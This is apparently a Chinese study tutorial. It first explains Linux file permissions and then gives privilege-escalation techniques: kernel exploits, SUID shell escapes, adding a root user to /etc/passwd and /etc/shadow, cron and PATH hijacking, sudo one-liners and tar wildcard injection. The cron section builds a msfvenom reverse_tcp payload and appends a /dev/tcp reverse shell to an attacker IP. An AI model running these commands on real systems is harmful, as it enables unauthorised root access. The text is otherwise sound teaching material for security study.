Linux权限
1、用户分类:
Linux下有两种用户:超级用户(root)、普通用户
1、超级用户:可以再linux系统下做任何事情,不受限制
2、普通用户:在linux下做有限的事情。
3、超级用户的命令提示符是“#”,普通用户的命令提示符是“$”
#插一嘴:单引号和双引号区别
单引号:
单引号中的所有字符都会被当作普通字符来处理,所有的特殊字符都会失去其特殊意义。
例如,变量名、命令替换等都不会被执行。它们会被当作普通的文本输出。
单引号内不能包含单引号本身,除非使用转义字符。
双引号:
双引号内的大部分字符也会被当作普通字符来处理,但是某些特殊字符仍然保留其特殊含义。
变量替换和命令替换(如 $(command) 或 `command``)在双引号内是有效的。
双引号内可以包含单引号。
要在双引号内表示双引号本身,可以使用反斜杠进行转义,即 "。
2 Linux权限管理
2.1 文件访问者的分类(人)
用户(User):文件或目录的所有者,通常是创建该文件或目录的用户。符号表示为 u。
组(Group):文件或目录所属的用户组,通常是所有者所在的组。符号表示为 g。
其他用户(Others):除所有者和所属组之外的所有其他用户。符号表示为 o
2.2 权限表示
1 文件类型
d:目录文件(文件夹)
-:普通文件
l:软链接(类似Windows的快捷方式)
b:块设备文件(例如硬盘、光驱等)
p:管道文件
c:字符设备文件(例如屏幕等串口设备)
s:套接口文件
2 基本权限
读取(r):允许查看文件内容或列出目录内容。
写入(w):允许修改文件内容或在目录中创建、删除文件。
执行(x):允许执行文件或进入目录。
“—”:表示不具有该项权限
3 文件权限值的表示方法
a)字符表示方法
r:可读
w:可写
x:可执行
b)8进制数值表示方法(8进制和2进制)
r->4->100
w->2->010
x->1->001
rw->6->110
rx->5->101
wx->3->011
rwx->7->111
没用权限->0->000
2.3 权限管理命令
在 Linux 中,权限管理主要通过以下几个命令来实现:
chmod 命令
用于更改文件或目录的权限。
chmod [options] mode file
示例:
chmod u+rwx file.txt # 给文件所有者增加读、写、执行权限
chmod g-w file.txt # 去掉组用户的写权限
chmod o=rx file.txt # 设置其他用户只有读和执行权限
chmod 755 file.txt # 设置文件权限为 rwxr-xr-x
chmod -R 755 directory # 递归更改目录及其子目录的权限
chown 命令
用于更改文件或目录的所有者。
chown [options] owner[:group] file
示例:
chown user file.txt # 将文件所有者改为 user
chown user:group file.txt # 将文件所有者改为 user,组改为 group
chown -R user:group directory # 递归更改目录及其子目录的所有者和组
chgrp 命令
用于更改文件或目录的所属组。
chgrp [options] group file
示例:
chgrp group file.txt # 将文件所属组改为 group
chgrp -R group directory # 递归更改目录及其子目录的所属组
umask 命令
用于设置默认权限掩码,决定新创建文件和目录的默认权限。
umask [options] [mask]
示例:
umask 022 # 设置新文件默认权限为 755,新目录默认权限为 755
umask 077 # 设置新文件和目录默认权限为 700
在 Linux 中,权限掩码(umask) 是用于设置新创建文件和目录的默认权限的机制。它通过屏蔽某些权限位来决定新文件和目录的最终权限。
a) 权限掩码的工作原理
默认情况下,新创建的文件和目录的权限分别是 666(rw-rw-rw-)和 777(rwxrwxrwx)。权限掩码通过从这些默认权限中减去指定的掩码值来确定最终权限。
b) 计算方法
假设 umask 值为 022:
文件默认权限:666 - 022 = 644(rw-r–r–)
目录默认权限:777 - 022 = 755(rwxr-xr-x)
c) 设置和查看 umask
查看当前 umask:
umask
设置 umask:
umask 022
d) 示例
查看当前 umask:
$ umask
0022
创建文件和目录:
$ touch newfile
$ mkdir newdir
查看权限:
$ ls -l newfile newdir
-rw-r--r-- 1 user user 0 Aug 16 09:04 newfile
drwxr-xr-x 2 user user 4096 Aug 16 09:04 newdir
e) 修改 umask
要永久修改 umask,可以在用户的 shell 配置文件(如 .bashrc 或 .profile)中添加一行:
umask 022
f) 特殊情况
umask 000:新文件和目录将具有最大权限(666 和 777),这通常不推荐使用,因为它会导致安全风险。
umask 077:新文件和目录将只有所有者有完全权限(600 和 700),适用于需要高安全性的场景。
通过合理设置 umask,可以有效控制新创建文件和目录的默认权限,确保系统的安全性和资源的合理分配
2.4、目录权限
可执行权限 : 如果目录没有可执行权限 , 则无法 cd 到目录中 .
可读权限 : 如果目录没有可读权限 , 则无法用 ls 等命令查看目录中的文件内容 .
可写权限 : 如果目录没有可写权限 , 则无法在目录中创建文件 , 也无法在目录中删除文件 .
于是 , 问题来了 ~~
换句话来讲 , 就是只要用户具有目录的写权限 , 用户就可以删除目录中的文件 , 而不论这个用户是否有这个文件的写权限.
[root@localhost ~]# chmod 0777 /home/
[root@localhost ~]# ls /home/ -ld
drwxrwxrwx. 3 root root 4096 9月 19 15:58 /home/
[root@localhost ~]# touch /home/root.c
[root@localhost ~]# ls -l /home/
总用量 4
-rw-r--r--. 1 root root 0 9月 19 15:58 abc.c
drwxr-xr-x. 27 litao litao 4096 9月 19 15:53 litao
-rw-r--r--. 1 root root 0 9月 19 15:59 root.c
[root@localhost ~]# su - litao
[litao@localhost ~]$ rm /home/root.c #litao可以删除root创建的文件
rm:是否删除有写保护的普通空文件 "/home/root.c"?y
[litao@localhost ~]$ exit
logout
为了解决该问题,Linux引入了粘滞位的概念。
在 Linux 系统中,粘滞位(Sticky Bit) 是一种特殊权限位,主要用于控制对特定目录中文件的删除操作。设置粘滞位后,只有文件的所有者或 root 用户才能删除或移动该文件,而其他用户即使有写权限也不能删除或移动这些文件
1 粘滞位的作用
粘滞位通常用于多用户环境中的公共目录,例如 /tmp 目录,以防止用户删除或移动其他用户的文件。设置粘滞位后,目录的其他用户权限位会显示为 t 或 T:
t:表示该目录的其他用户有执行权限。
T:表示该目录的其他用户没有执行权限。
2 设置粘滞位
使用 chmod 命令可以设置粘滞位:
chmod +t directory # 为目录设置粘滞位
chmod -t directory # 移除目录的粘滞位
3 示例
查看 /tmp 目录的权限:
ls -ld /tmp
drwxrwxrwt 15 root root 4096 Aug 16 09:04 /tmp
可以看到 /tmp 目录的其他用户权限位为 t,表示已设置粘滞位。
为目录设置粘滞位:
mkdir mydir
chmod 1777 mydir # 设置粘滞位并赋予所有用户读、写、执行权限
ls -ld mydir
drwxrwxrwt 2 kali kali 4096 Aug 16 09:04 mydir
4 注意事项
粘滞位只对目录有效,对文件无效
设置粘滞位后,其他用户仍然可以修改文件内容,但不能删除或移动文件。
通过合理使用粘滞位,可以有效保护公共目录中的文件,防止未授权的删除和移动操作。
3、Linux提权
1、Linux内核提权
提权原理
内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP;
3、使用找到的EXP对目标系统发起攻击,完成提权操作
查看Linux操作系统的内核版本和相关信息
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本
EXP怎么找呢,可以是用kali去寻找,kali中自带searchsploit命令可以查找EXP
输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录
CVE-2022-0847漏洞
2、SUID提权
SUID介绍
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的
注意以下几点:
- 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
- 命令执行者要对该程序文件拥有执行(x)权限.
- 命令执行者在执行该程序时获得该程序文件属主的身份.
- SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
SUID提权原理
原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:
nmap
vim
find
bash
more
less
nano
cp
awk
mv
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
提权介绍
find提权
介绍
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用
SUID权限运行,则可以通过find执行的命令都将以root身份去运行
步骤
1.查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2.利用find提权
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
bash提权
介绍
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行
步骤
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
利用bash提权
bash -p
vim提权
介绍
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
步骤
1.查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
2.利用vim提权
第一种方式,利用vim添加账号
vim /etc/passwd 添加特权用户
添加:bob :x :0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
第二种,利用vim打开交互shell
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
python提权
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
3、计划任务提权
提权原理
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
计划任务的文件夹在 /etc/cron*下
计划任务的格式
分 时 日 月 周 用户 命令
假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下
find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件
linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限
提权环境
先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数
function bash_os() {
"系统基础信息"
#内核信息
kernel=$(uname -r)
#操作系统版本
release=$(cat /etc/redhat-release)
#主机名称
hostname=$HOSTNAME
#当前时间及运行时间
dateload=$(uptime | awk -F "," '{print $1}')
当前登录用户数
users=$(uptime | awk -F "," '{print $2}')
echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|内核信息:\033[31m $kernel \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
}
bash_os
该脚本运行后的内容写到 /tmp/bash_os.txt文件中
将文件的权限设置成777 chmod 777 bash_os.sh
将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下
分 时 日 月 周 用户 命令
*/1 * * * * root /bash_os.sh
service crond status #查看计划任务启动
service crond restart #重启计划任务
提权步骤
我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
查询计划任务,发现存在一个sh文件并且是root运行的
接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权
输入反弹shell的命令,在sh文件中进行追加
echo "bash -i >& /dev/tcp/192.168.41.211/9876 0>&1" >> /bash_os.sh
使用NC接收等待反弹shell的连接,得到root权限
4、环境变量劫持提权
提权原理4
PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:
echo $PATH #查看环境变量
如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的
提权环境
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
然后使用gcc进行编译
gcc demo.c -o shell
运行 shell 命令就是打开shadow文件
赋予shell文件SUID权限
chmod u+s shell
接下来就可以进行提权了
5、SUDO提权
提权原理
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etcsudoers中进行操作。
具体的格式如下
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
cseroad表示用户名
第一个 ALL 指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
这里要注意了添加的命令一定要写在最后一行
但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码
如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen
提权的命令如下
一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh
6、利用通配符(WS)进行提权
提权原理
*代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
看一下什么是Wildcard wildness(简称WS)
echo "1" > file1
echo "2" >file2
echo "3" > --help
接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help的命令,这种类型的技巧称为Wildcard wildness。
如果我们执行 ls * 那么就会执行 ls --help
如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子,tar命令是Linux中的压缩命令,可以对文件进行压缩
tar -czf html.tgz 1.html #将文件1.html文件压缩成html.tgz
也可以使用通配符进行压缩
tar -czf html.tgz *.html #将文件所有html文件压缩成html.tgz
在tar中有执行linux命令的参数如下
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了
echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami
接着运行
tar -czf html.tgz *
提权环境
一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务,如果滥用了通配符,就可能导致提权
*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*
7、破解明文密码提权
提权原理
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权
提权环境
主要是查看当前的shadow文件是否可以读取,有以下几种方式
1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限